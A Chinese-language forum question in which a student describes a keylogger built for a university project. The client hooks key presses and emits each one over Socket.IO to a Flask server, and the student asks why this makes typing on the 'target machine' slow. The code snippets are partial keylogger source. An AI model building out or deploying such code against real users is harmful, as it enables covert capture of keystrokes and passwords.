通过socketIO发送击键数据会减慢程序的速度

2024-06-02 05:03:35 发布

您现在位置:Python中文网/ 问答频道 /正文

让我首先提到我对Python和使用套接字是新手

作为一个大学项目,我正在使用Python构建一个键盘记录器。每次击键都必须从键盘记录器(客户端)发送到flask socketIO服务器(也是Python)

问题:

客户端成功连接到服务器,并且能够传输记录的密钥。然而,程序变得非常慢。将记录的击键发送到服务器需要约2秒的处理时间。因此,它无法检测每一次击键,并且在客户端运行时,在目标机器上键入任何内容也会变得非常慢。因此,键盘记录器无法使用

这是服务器端的代码片段:

from flask import Flask, render_template
from flask_socketio import SocketIO, emit

app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret'
socketio = SocketIO(app)

@socketio.on('keylogger')
def print_keys(data):
    print(data["keylogged"])


if __name__ == '__main__':
    socketio.run(app)

在客户端,我首先通过以下方式连接到服务器:

socketIO = SocketIO('localhost', 5000,
                        LoggingNamespace)

然后在on_press key事件中发送每次击键

def on_press(key):
    global keys, count, currentTime
    print(key)
    keys.append(key)
    count += 1
    currentTime = time.time()

    if count >= 1:
        count = 0
        socketIO.emit('keylogger', {"keylogged": str(key)})
        write_to_file(keys)
        keys = []

我一天来一直在想这个问题,但由于我缺乏使用插座的经验,所以我无法解决,这让我感到困扰。在这件事上的任何帮助都是很有价值的。提前谢谢